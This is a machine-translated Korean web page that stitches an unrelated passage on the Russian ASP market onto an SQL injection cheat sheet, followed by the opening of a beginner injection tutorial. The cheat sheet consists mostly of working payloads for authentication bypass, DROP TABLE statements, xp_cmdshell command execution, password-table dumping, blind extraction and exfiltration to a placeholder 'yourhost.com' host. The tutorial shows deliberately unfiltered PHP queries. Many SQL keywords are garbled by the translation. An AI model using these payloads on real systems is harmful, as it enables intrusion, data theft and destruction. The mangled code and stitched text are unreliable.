로그인 컨트롤 프로그래밍. SQL 주입을 사용하여 원격으로 명령을 실행하는 방법

현재 러시아에서는 본격적인 ASP 시장이 형성되었다고 말할 수 없습니다. 대부분의 러시아 사용자는 여전히 ASP 개념이 비즈니스에 유용하다고 인식하지 않습니다. 현재(이 글을 쓰는 시점) 러시아 시장대기업에서 ASP 모델을 전면적으로 구현한 성공적인 사례는 단 하나도 없습니다. 실제로 ASP 모델의 호스팅, 개별 구현 요소, ASP 비즈니스에 참여하려는 회사 등만 있습니다. 즉, 러시아에서는 아직 고전적인 ASP 모델이 구현되지 않았습니다.

이제 러시아 시장에서 ASP 모델은 개인화된 이메일 서비스(Mail.ru, Beep.ru, Freemail.ru 등)와 전문적인 첨단 기술 서비스(예: 배너 및 검색 엔진, 인터넷 통계 시스템)에만 적용 가능합니다. , 등.) . 동시에 메일 서비스를 임대한다는 것은 단순히 각 개인 사용자에게 개인 사서함을 제공하는 것을 의미하지 않습니다. 무료 이메일 서버는 중소기업과 개인 기업가가 기업 부문에서 널리 사용합니다. 이러한 서비스의 주요 고객은 기업 이메일 서비스를 구성(또는 기업 문서 흐름을 자동화)하려는 회사 또는 무료 웹 메일 서비스를 구성하려는 인터넷 제공업체(예: Rambler.ru, Yandex.ru 포털 등)입니다. 청중을 위해.

전자 상점(전자 거래 플랫폼의 진열장)을 임대하는 데 러시아 사용자들 사이에는 일정한 관심이 있습니다. 그리고 이것은 꽤 이해할 수 있습니다. 러시아에서는 여전히 성공적인 온라인 거래 사례가 매우 적기 때문에(여러 회사의 인상적인 성과에 대한 시끄러운 발언에도 불구하고) 전자 상점을 임대하는 데 훨씬 적은 돈을 지출하는 것이 가장 합리적인 것 같습니다. 구매하고 유지하세요). 프로젝트가 실패하면 큰 손실 없이 매우 신속하게 종료될 수 있습니다. 서구에 널리 퍼져 있는 ERP 애플리케이션 임대는 현재 러시아에서는 시범 프로젝트 단계에 불과합니다.

임대용으로 제공되는 애플리케이션에는 상대적으로 단순한 오피스 제품군(예: MS Office)과 보다 복잡한 애플리케이션(예: Lotus Smart Suite), ERP 시스템(예: Navision Axapta)이 모두 포함됩니다.

러시아 ASP 시장의 주요 문제점과 특징.

10.2 러시아 시장의 문제.

현재 러시아 ASP 시장은 글로벌 ASP 시장보다 최소 몇 년 뒤쳐져 있습니다. 러시아 ASP 시장의 초기 상태는 여기에 존재하는 여러 가지 문제로 인해 발생합니다. 이러한 문제의 주요 내용은 다음과 같습니다.

1. 서구 경제에 비해 러시아 경제의 전반적인 지연과 기업 기술 인프라의 저개발. 지금까지 대부분의 러시아 기업은 수십 년 전에 구축된 기술 인프라를 기반으로 운영되고 있습니다. 현재 현대화에 대한 기업의 투자는 여전히 충분하지 않습니다. 그리고 여기서 문제는 오히려 기업의 재정적 우선 순위입니다. 이들 모두가 기술 인프라 현대화에 필요한 자금을 투자할 수 있는 것은 아닙니다. 따라서 기존 인프라를 활용하여 현재의 문제를 해결해야 합니다.

2. ASP 서비스에 대한 수요가 낮습니다. 인구와 기업 고객은 (대부분의 경우) ASP 서비스 비용을 지불할 준비가 되어 있지 않습니다. 이제 일반 러시아 소비자는 더욱 긴급하고 중요한 지출 우선 순위를 갖고 있지만 기업 사용자는 아직 ASP 서비스를 진지하게 받아들이지 않습니다.

3. 전자 시장에 대한 입법 체계의 취약성. 전체 법률이 채택될 때까지 전자 시장(ASP 포함)의 발전에 대해 이야기할 필요가 없습니다.

4. 기업 고객(특히 지급능력이 가장 높은 기업)의 재무 보고 폐쇄.

5. 다른 작업에 다시 집중하고 직원 및 IT 예산을 줄여야 하는 대기업 IT 부서(명시적이든 암묵적이든)의 저항.

6. 러시아 기업용 ASP 모델에서 사용할 수 있는 소수의 애플리케이션.

7. 상대적으로 낮은 급여를 받는 초급 및 중급 IT 전문가가 상당히 많이 러시아 노동 시장에 존재합니다. 1998년 위기 이후 IT 전문가의 급여 대부분은 위기 이후 수준을 그대로 유지했습니다. 때로는 중소기업이 ASP 서비스 비용을 지불하는 것보다 자체 IT 서비스를 유지하는 것이 더 저렴할 때도 있습니다(상황이 정반대인 서구 기업과 달리).

요약 설명을 위해 생성된 SQL 주입 치트 시트 기술적 기능들 다양한 방식 SQL 주입 취약점. 이 기사에서는 SQL 삽입의 기능을 소개합니다. MySQL, 마이크로소프트 SQL섬기는 사람, 신탁그리고 포스트그레SQL.

0. 소개
이 기사에서 자세한 내용을 확인할 수 있습니다. 기술적 인 정보다양한 SQL 인젝션 유형에 대해 알아보세요. 경험이 풍부한 전문가와 정보 보안 분야에 처음 입문하는 사람 모두에게 유용할 수 있습니다.

현재 해당 메모에는 MySQL, Microsoft에 대한 정보만 포함되어 있습니다. SQL 서버 ORACLE 및 PostgreSQL에 대한 일부 데이터. 섹션에는 주입 구문, 설명 및 예제가 포함되어 있습니다.

사용된 기호:
남(MySQL);
S(SQL 서버);
오(오라클);
P(포스트그레SQL);
+ (다른 데이터베이스에 있을 수도 있음);
* (특별한 조건이 필요함)

1. 라인 코멘트
주석은 일반적으로 쿼리의 일부를 무시하는 데 유용합니다.
통사론:
-- (SM): DROP 샘플 테이블;--
# (M): DROP 샘플테이블;#
예:
사용자 이름: admin" --
생성된 쿼리: SELECT * FROM 회원 WHERE 사용자 이름 = "admin"--" AND 비밀번호 = "password"
이렇게 하면 비밀번호 확인을 건너뛰고 admin 사용자로 로그인할 수 있습니다.

2. 댓글 차단
도움을 받으면 요청의 일부를 무시하고, 공백을 바꾸고, 블랙리스트를 우회하고, 데이터베이스 버전을 확인할 수 있습니다.
통사론:
/*댓글*/ (SM):
DROP/*설명*/샘플링 가능
DR/**/OP/*bypass_blacklist*/샘플 가능
SELECT/*replace_space*/password/**/FROM/**/멤버

/*! MYSQL 특수 SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM 테이블 이름
이것은 MySQL의 특별한 주석 구문입니다. MySQL 버전을 감지할 수 있습니다. 이 주석은 MySQL에서만 작동합니다.
예:
ID: 10; DROP TABLE 멤버 /*
줄 주석처럼 나머지 요청은 무시합니다.

ID: /*!32302 10*/
MySQL 버전이 3.23.02보다 높으면 ID=10과 동일한 응답을 받게 됩니다.

ID: /*!32302 1/0, */
생성된 쿼리: SELECT /*!32302 1/0, */ 1 FROM 테이블 이름
서버의 MySQL 버전이 3.23.02보다 높으면 0으로 나누기 오류가 발생합니다.

3. 요청 순서
한 번에 두 개 이상의 요청을 실행할 수 있습니다. 이는 주입의 어느 시점에서나 유용합니다.


녹색 - 지원됨; 검정색 - 지원되지 않음 회색 - 알 수 없음.
통사론:
; (S): SELECT * FROM 멤버; DROP 회원--
하나의 요청이 종료되고 다음 요청이 시작되었습니다.
예:
ID: 10;DROP 회원 --
생성된 쿼리: SELECT * FROM products WHERE id = 10; DROP 회원--
이 쿼리는 일반 쿼리 후에 멤버 테이블을 삭제합니다.

4. 조건문
조건이 충족되면 요청에 대한 응답을 받게 됩니다. 이것이 블라인드 주입의 핵심 포인트 중 하나이다. 간단한 것도 정확하게 확인하는데 도움이 됩니다.
통사론:
IF(조건, 참 부분, 거짓 부분) (M): SELECT IF(1=1,"true","false")
IF 조건 참 부분 ELSE 거짓 부분(S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF 조건 THEN 참 부분; ELSE 허위 부분; ENDIF; 끝; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; 끝;
SELECT CASE WHEN 조건 THEN 참 부분 ELSE 거짓 부분 END; (P): (1=1) THEN "A" ELSE "B" END일 때 CASE를 선택합니다.
예:
if ((사용자 선택) = "sa" OR (사용자 선택) = "dbo") 1 선택 else 1/0 선택 (S)
다음과 같은 경우 0으로 나누기 오류가 발생합니다. 현재 사용자"sa"나 "dbo"가 아닙니다.

5. 숫자 사용
WAF를 포함하여 Magic_quotes() 및 유사한 필터를 우회하는 데 사용됩니다.
통사론:
0xHEX_NUMBER(SM):
CHAR 선택(0x66) (S)
SELECT 0x5045 (숫자가 아닌 문자열) (M)
SELECT 0x50 + 0x45 (이제는 숫자입니다) (M)
예:
LOAD_FILE(0x633A5C626F6F742E696E69) 선택(M)
c:\boot.ini 파일의 내용을 표시합니다.

6. 문자열 연결
문자열 작업은 필터를 우회하거나 데이터베이스를 식별하는 데 도움이 될 수 있습니다.
통사론:
+ (S): 로그인 선택 + "-" + 회원 FROM 비밀번호
|| (*MO): 로그인 선택 || "-" || 회원님의 비밀번호
MySQL이 ANSI 모드에서 실행 중인 경우 작동합니다. 그렇지 않으면 MySQL은 이를 다음과 같이 받아들이지 않습니다. 논리 연산자 0을 반환합니다. MySQL에서는 CONCAT() 함수를 사용하는 것이 더 좋습니다.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(로그인, 비밀번호) FROM 멤버

7. 따옴표 없는 문자열
CHAR()(MS) 및 CONCAT()(M)을 사용하는 등 쿼리에서 따옴표 사용을 방지하는 방법에는 여러 가지가 있습니다.
통사론:
0x457578(M) 선택

MySQL에는 문자열을 16진수 코드로 표현하는 간단한 방법이 있습니다.
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

문자열 "KLM"을 반환합니다.
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
CHAR(75)+CHAR(76)+CHAR(77) (S) 선택
선택 CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHAR(75)||CHAR(76)||CHAR(77)) (P)

8. 문자열과 숫자를 변환합니다.
통사론:
ASCII() (SMP): SELECT ASCII("a")
가장 왼쪽 문자의 ASCII 코드를 반환합니다. 이 기능은 블라인드 주입에 사용됩니다.

CHAR() (SM): SELECT CHAR(64)
ASCII 코드를 해당 문자로 변환합니다.

9. UNION 운영자
UNION 연산자를 사용하면 테이블의 교집합을 쿼리할 수 있습니다. 기본적으로 다른 테이블의 값을 반환하는 쿼리를 보낼 수 있습니다.
예:
SELECT 헤더, txt FROM 뉴스 UNION ALL SELECT 이름, FROM 멤버 전달
그러면 뉴스 테이블과 회원 테이블의 결과가 병합됩니다.

10. 인증 우회(SMO+)
예:
관리자" --
관리자" #
관리자"/*
"또는 1=1--
" 또는 1=1#
" 또는 1=1/*
") 또는 "1"="1--
") 또는 ("1"="1--

11. MD5 인증 우회
애플리케이션이 먼저 사용자 이름을 비교한 다음 비밀번호의 md5 해시를 비교하는 경우 인증을 우회하려면 추가 트릭이 필요합니다. 결과를 알려진 비밀번호 및 해당 해시와 결합할 수 있습니다.
예(MSP):
사용자 이름: 관리자
비밀번호: 1234 " AND 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. 오류 기반
12.1 HAVING BY(S)를 사용하여 열 정의
예:
같은 순서로
" 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, 컬럼fromerror2, 컬럼fromerror3 HAVING 1=1 –
…………….
오류가 멈출 때까지 계속하십시오.

12.2 ORDER BY(MSO+)를 사용하여 열 수 확인
UNION 주입을 사용하면 ORDER BY를 사용하여 열 수를 찾는 속도를 높일 수 있습니다.
1--로 주문
2개 단위로 주문하세요--
3인 주문-
………………..
오류 메시지가 나타날 때까지 계속하십시오. 이는 열 수를 나타냅니다.

13. 데이터 유형 정의
항상 UNION을 ALL과 함께 사용하세요.
불필요한 테이블 항목을 제거하려면 쿼리 시작 부분에 존재하지 않는 값에 -1을 사용합니다(주입이 WHERE 매개변수에 있는 경우). 한 번에 하나의 값만 검색할 수 있는 경우 이는 중요합니다.
문자열, 날짜, 숫자 등을 추측하는 대신 UNION 주입에 NULL을 사용하세요. 하지만 맹목적으로 주사할 때는 조심하세요. 왜냐하면... 데이터베이스 오류를 애플리케이션 자체와 혼동하고 있을 수 있습니다. ASP.NET과 같은 일부 언어에서는 NULL 값을 사용할 때 오류가 발생합니다(개발자는 사용자 이름 필드에 Null 값이 표시될 것이라고 예상하지 않았기 때문입니다).
예:
" 사용자의 통합 선택 합계(열 찾기)-- (S):
오류 메시지가 나타나지 않으면 열은 숫자입니다.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, 변환(이미지,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL --
CAST() 또는 CONVERT()를 사용할 수 있습니다.

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
오류가 없으면 구문이 올바른 것입니다. MS SQL 서버가 사용됩니다.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
오류가 없으면 첫 번째 열은 숫자입니다.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
오류가 나타나면 두 번째 열은 숫자가 아닙니다.

11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
오류가 없으면 두 번째 열은 문자열입니다.
……………..

14. 단순 삽입(MSO+)
예:
"; 사용자 값에 삽입(1, "hax0r", "coolpass", 9)/*

15. 정보의 수집
통사론:
@@버전(MS)
데이터베이스 버전과 자세한 정보를 확인할 수 있습니다.
예:
INSERT INTO 회원(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. 복합 인서트(S)
파일의 내용을 테이블에 삽입할 수 있습니다. 웹 응용 프로그램의 내부 경로를 모르는 경우 IIS 메타베이스(IIS 6에만 해당)를 읽을 수 있습니다.
통사론:
파일(%systemroot%\system32\inetsrv\MetaBase.xml)
그런 다음 그 안에서 응용 프로그램 경로를 찾을 수 있습니다.
예:
1. foo(문자열형 varchar(8000)) 테이블 생성
2. 'c:\inetpub\wwwroot\login.asp' 파일의 내용을 foo 테이블에 삽입합니다.
3. 임시 테이블을 삭제하고 다른 파일에 대해 반복합니다.

17. BCP (에스)
적어 두다 텍스트 파일. 이를 위해서는 자격 증명이 필요합니다.
예:
bcp "SELECT * FROM test..foo" 쿼리아웃 c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. SQL Server(S)의 VBS, WSH
SQL Server에서는 VBS, WSH 스크립트를 사용할 수 있습니다.
예:
사용자 이름:"; @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" 선언 –

19. 시스템 명령 실행(S)
잘 알려진 방법인 이 기능은 SQL Server 2005에서 기본적으로 비활성화되어 있습니다. 관리자 권한이 필요합니다.
예:
EXEC master.dbo.xp_cmdshell "cmd.exe 디렉토리 c:"
EXEC master.dbo.xp_cmdshell "핑"

20. SQL Server(S)의 특수 테이블
예:
오류 메시지: master..sysmessages
연결된 서버: master..sysservers
비밀번호 SQL Server 2000: masters..sysxlogins
비밀번호 SQL Server 2005: sys.sql_logins

21. SQL Server(S)에 대한 다중 저장 프로시저
통사론:
명령 실행(xp_cmdshell)
레지스트리 항목(xp_regread):
xp_regadd다중문자열
xp_regdeletekey
xp_regdelete값
xp_regenumkeys
xp_regenum값
xp_regread
xp_regremovem다중문자열
xp_regwrite
서비스 관리(xp_servicecontrol)
미디어(xp_availablemedia)
ODBC 리소스(xp_enumdsn)
로그인 모드(xp_loginconfig)
Cab 파일 생성(xp_makecab)
도메인 열거(xp_ntsec_enumdomains)
프로세스 종료(PID 필요) (xp_terminate_process)
새 프로시저 추가(sp_addextendedproc)
UNC 또는 내부 경로(sp_makewebtask)에 텍스트 파일 쓰기
예:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. MSSQL 대량 참고사항
예:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER(Transact-SQL)
IS_SRVROLEMEMBER(Transact-SQL)
OPENDATASOURCE(Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET(Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. LIMIT(M) 쿼리에 SQL 삽입
예:
SELECT ID, 제품 FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
LIMIT 연산자를 우회하려면 UNION이나 주석을 사용할 수 있습니다.

24. SQL Server(S) 종료
예:
";종료 –

25. SQL Server 2005에서 xp_cmdshell 활성화
통사론:
기본적으로 SQL Server 2005에서는 xp_cmdshell 및 기타 잠재적으로 위험한 몇 가지 기능이 비활성화되어 있습니다. 관리 권한이 있는 경우 해당 기능을 활성화할 수 있습니다.
EXEC sp_configure "고급 옵션 표시",1
재구성
EXEC sp_configure "xp_cmdshell",1
재구성

26. SQL Server(S)에서 데이터베이스 구조 검색
예:
SELECT 이름 FROM sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
열 이름 가져오기

27. 이사기록 (S)
예:
... 사용자가 없는 곳("첫 번째 사용자", "두 번째 사용자")
NOT IN 또는 NOT EXIST와 함께 WHERE를 사용하세요.

존재하지 않는 회원의 TOP 1 이름 선택(회원의 TOP 0 이름 선택)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS 제거 FROM sysobjects i WHERE i.id<=o.id)
AS x, sysobjects의 이름 o) as p 여기서 p.x=3) as int

(SELECT (SELECT COUNT(i.id) ASrid FROM sysobjects i WHERE xtype="U" 및 i.id에서 p.name을 선택합니다.<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. SQL Server(S)의 오류 기반 SQL 주입에서 데이터를 빠르게 추출하는 방법
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd를 TMP_SYS_TMP로 종료;--

29. MySQL(M)에서 데이터베이스 구조 검색하기
예:
information_schema.tables에서 table_name을 선택하세요. WHERE table_schema = "tablename"
사용자 정의 테이블 가져오기

information_schema.columns에서 table_name, 컬럼_이름을 선택하세요. WHERE table_schema = "테이블 이름"
열 이름 가져오기

30. Oracle에서 데이터베이스 구조 검색하기(O)
예:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
사용자 정의 테이블 가져오기

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
열 이름 가져오기

31. 블라인드 주사
고품질 애플리케이션에서는 오류 메시지를 볼 수 없습니다. UNION 연산자와 오류 기반 공격을 사용할 수 없습니다. 데이터를 추출하려면 블라인드 SQL 주입을 사용해야 합니다. 블라인드 주사에는 두 가지 유형이 있습니다.
일반 블라인드 주입: 페이지에서 요청 결과를 볼 수 없지만 응답이나 HTTP 상태를 통해 결과를 확인할 수 있습니다.
완전 블라인드 주입: 출력에 아무런 차이가 없습니다.
일반적인 블라인드 주입에서는 IF 및 WHERE 문을 사용할 수 있으며, 완전 블라인드 주입에서는 일부 대기 기능을 사용하고 응답 시간을 비교해야 합니다. 이렇게 하려면 SQL Server에서는 WAIT FOR DELAY '0:0:10', MySQL에서는 BENCHMARK() 및 sleep(10), PostgreSQL에서는 pg_sleep(10)을 사용할 수 있습니다.
예:
이 예는 SQL Server에서 블라인드 주입의 실제 작업을 기반으로 합니다.

TRUE: SELECT ID, 사용자 이름, 이메일 FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>78--

FALSE: SELECT ID, 사용자 이름, 이메일 FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>103--

FALSE: SELECT ID, 사용자 이름, 이메일 FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>89--

FALSE: SELECT ID, 사용자 이름, 이메일 FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>83--

TRUE: SELECT ID, 사용자 이름, 이메일 FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>79--

FALSE: SELECT ID, 사용자 이름, 이메일 FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>80--

마지막 두 쿼리를 기반으로 우리는 ASCII의 첫 번째 문자 값을 정확히 알 수 있습니다. 즉, 80입니다. 이는 첫 번째 문자가 `P`라는 의미입니다. 이 방법으로 우리는 테이블의 이름과 그 내용을 찾을 수 있습니다. 또 다른 방법은 데이터를 비트 단위로 읽는 것입니다.

32. 완전맹검주사
이 방법은 실제로 블라인드 주사하는 경우에만 사용하십시오. 대기 시간에 주의하세요.
통사론:
지연 "시간"을 기다리세요(S)
이 함수는 프로세서를 로드하지 않고 지정된 시간 동안 기다립니다.
예:
if (사용자 선택) = "sa" 대기 시간 "0:0:10"
ProductID =1;지연 "0:0:10" 대기--
ProductID =1);지연 "0:0:10" 대기--
ProductID =1";지연 "0:0:10" 대기--
ProductID =1");지연 "0:0:10" 대기--
ProductID =1));지연 "0:0:10" 대기--
ProductID =1"));지연 "0:0:10" 대기--
통사론:
BENCHMARK(이것을 몇 번이나 하세요) (M)
예:
IF EXISTS (SELECT * FROM users WHERE 사용자 이름 = "root") BENCHMARK(1000000000,MD5(1))
루트 사용자가 있는지 확인합니다.

IF (SELECT * FROM 로그인) BENCHMARK(1000000,MD5(1))
MySQL에서 테이블 존재 여부 확인
통사론:
pg_sleep(초) (P)
제공된 초 동안 절전 모드로 전환됩니다.

수면(초) (M)
제공된 초 동안 잠을 자십시오.

bms_pipe.receive_message (O)
제공된 초 동안 잠을 자십시오.
예:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz" ),1) 듀얼에서 종료)
(주입) – 귀하의 요청입니다.
조건이 true이면 응답은 10초입니다. 그렇지 않으면 응답은 1초가 됩니다.

33. 유용한 MySQL 기능
통사론:
MD5()
SHA1()
비밀번호()
인코딩()
압박 붕대()
ROW_COUNT()
개요()
버전()

34. 2차 ​​SQL 주입
일반적으로 SQL 주입 쿼리를 필드에 삽입하면 필터링되지 않을 것으로 예상됩니다.
예:
이름: " + (사용자의 상위 1개 비밀번호 선택) + "
이메일: [이메일 보호됨]
애플리케이션이 저장 프로시저나 함수의 필드 이름을 사용하는 경우 이를 주입에 사용할 수 있습니다.

35. SQL Server를 사용하여 NTLM 해시 추출
이 공격은 외부에서 접속이 없는 경우 SQL Server를 통해 대상 서버의 Windows 사용자 비밀번호를 알아내는 데 도움이 됩니다. SQL Server가 UNC 경로를 통해 Windows에 연결하고 Cain & Abel과 같은 특수 도구를 사용하여 NTLM 세션을 추출하도록 할 수 있습니다.

통사론:
UNC 경로: "\\YOURIPADDRESS\C$\x.txt"
36. 주사의 다른 예
SQL 서버:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+((INJECTION))+".yourhost.com\\test.txt"; EXEC 마스터..xp_dirtree @q
(INJECTION).yourhost.com에 대한 DNS 쿼리를 생성합니다.

(주입) - 귀하의 요청입니다.
MySQL:
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")))
yourhost.com에 대한 NBNS/DNS 요청을 생성합니다.
?vulnerableParam=-99 OR (SELECT ((INJECTION)) INTO OUTFILE "\\\\yourhost.com\\share\\output.txt")
파일에 데이터를 씁니다.
(주입) - 귀하의 요청입니다.
신탁:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") 듀얼에서)
스니퍼는 결과를 저장합니다
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") 듀얼에서)
결과는 HTTP 로그에 저장됩니다.
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") 듀얼에서)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||'.yourhost.com',80) FROM DUAL)
yourhost.com에 대한 DNS 요청 트래픽을 분석해야 합니다.
(주입) - 귀하의 요청입니다.

이 자료는 SQL 주입 치트 시트 기사를 적응적으로 번역한 것입니다.

안녕하세요, 독자님. 최근에는 웹 보안에 관심이 많아 내 업무도 어느 정도 이와 관련이 있다. 왜냐하면 점점 더 자주 나는 다양한 포럼에서 그것이 어떻게 작동하는지 보여달라고 요청하는 주제를 발견하기 시작했기 때문에 기사를 쓰기로 결정했습니다. 이 기사는 이것을 경험하지 않았지만 배우고 싶은 사람들을 대상으로 할 것입니다. 인터넷에는 이 주제에 관한 기사가 상대적으로 많지만 초보자에게는 조금 복잡합니다. 나는 모든 것을 명확한 언어와 자세한 예를 통해 설명하려고 노력할 것입니다.

머리말

이 기사를 이해하려면 SQL 언어에 대한 지식이 실제로 필요하지는 않지만 최소한 인내심과 암기할 수 있는 약간의 두뇌가 필요합니다.

기사를 읽는 것만으로는 충분하지 않다고 생각합니다. 왜냐하면... 우리는 살아있는 예가 필요합니다. 아시다시피 암기 과정에서의 연습은 결코 불필요한 것이 아닙니다. 따라서 우리는 취약한 스크립트를 작성하고 이에 대해 교육할 것입니다.

SQL 주입이란 무엇입니까?
간단히 말해서 이는 데이터베이스에 대한 공격으로, 이를 통해 스크립트 작성자가 계획하지 않은 일부 작업을 수행할 수 있습니다. 생활의 예:

아버지는 어머니에게 Vasya 100 루블을주고 테이블 위에 올려 놓으라는 메모를 썼습니다. 이것을 코믹한 SQL 언어로 재작업하면 다음과 같은 결과를 얻을 수 있습니다.
지갑에서 100루블을 꺼내 바샤에게 주세요

아버지가 쪽지를 서툴게 써서(서투른 손글씨) 테이블 위에 놓아두었기 때문에 Vasya의 형제 Petya가 그것을 보았습니다. 해커인 Petya는 거기에 “OR Pete”를 추가했고 그 결과는 다음과 같습니다:
지갑에서 100루블을 꺼내 Vasya 또는 Petya에게 전달하세요.

엄마는 메모를 읽은 후 어제 Vasya에게 돈을주고 Petya에게 100 루블을 주기로 결정했습니다. 다음은 실제 SQL 주입의 간단한 예입니다.) 데이터를 필터링하지 않고(엄마는 손글씨를 거의 이해할 수 없음) Petya는 이익을 얻었습니다.

준비
연습하려면 이 기사의 소스 스크립트가 포함된 아카이브가 필요합니다. 다운로드하여 서버에 압축을 풀어보세요. 또한 데이터베이스를 가져오고 파일에 데이터를 설정합니다. cfg.php

SQL 주입 검색

이미 이해하셨듯이, 주입은 필터링되지 않은 수신 데이터에서 발생합니다. 가장 흔한 실수는 전송된 ID를 필터링하지 않는 것입니다. 글쎄요, 대략적으로 말하면 모든 필드에 따옴표를 넣으세요. GET/POST 요청이든 쿠키이든 상관없습니다!

숫자 입력 매개변수
연습을 위해서는 스크립트가 필요합니다 index1.php. 위에서 말했듯이 뉴스 ID에 따옴표를 삽입합니다.

왜냐하면 우리의 요청에는 필터링이 없습니다.

$id = $_GET["id"]; $query = "SELECT * FROM 뉴스 WHERE id=$id";

스크립트는 이것을 다음과 같이 이해합니다.

SELECT * FROM 뉴스 WHERE ID=1"

그러면 오류가 발생합니다.
경고: mysql_fetch_array()는 매개변수 1이 리소스, 16행의 C:\WebServ\domains\sqlinj\index1.php에 제공된 부울일 것으로 예상합니다.

오류가 나타나지 않으면 다음과 같은 이유가 있을 수 있습니다.

1.SQL 주입은 여기에 없습니다. 인용문은 필터링되거나 그냥 변환할 가치가 있습니다. (정수)
2. 오류 출력이 비활성화됩니다.

여전히 오류가 발생한다면 - 만세! 우리는 SQL 주입의 첫 번째 유형인 숫자 입력 매개변수를 발견했습니다.

문자열 입력 매개변수

다음으로 요청을 보내드리겠습니다. index2.php. 이 파일에서 요청은 다음과 같습니다.
$user = $_GET["사용자"]; $query = "SELECT * FROM 뉴스 WHERE user="$user"";

여기서는 사용자 이름으로 뉴스를 선택하고 다시 필터링하지 않습니다.
다시 한 번 견적과 함께 요청을 보냅니다.

오류가 발생했습니다. 좋아요! 이는 취약점이 있음을 의미합니다. 우선, 이것으로 충분합니다. 연습해 봅시다.

조치를 취하자

약간의 이론

아마도 실수가 아닌 다른 무언가를 얻기를 기다릴 수 없을 것입니다. 먼저 "라는 표시를 이해하십시오. -- "는 SQL에서 주석으로 간주됩니다.

주목! 앞뒤에 공백이 있어야 합니다. URL에서는 다음과 같이 전송됩니다. %20

주석 뒤에 오는 모든 내용은 삭제됩니다. 즉, 요청은 다음과 같습니다.
SELECT * FROM 뉴스 WHERE user="AlexanderPHP" -- 하브라하브라

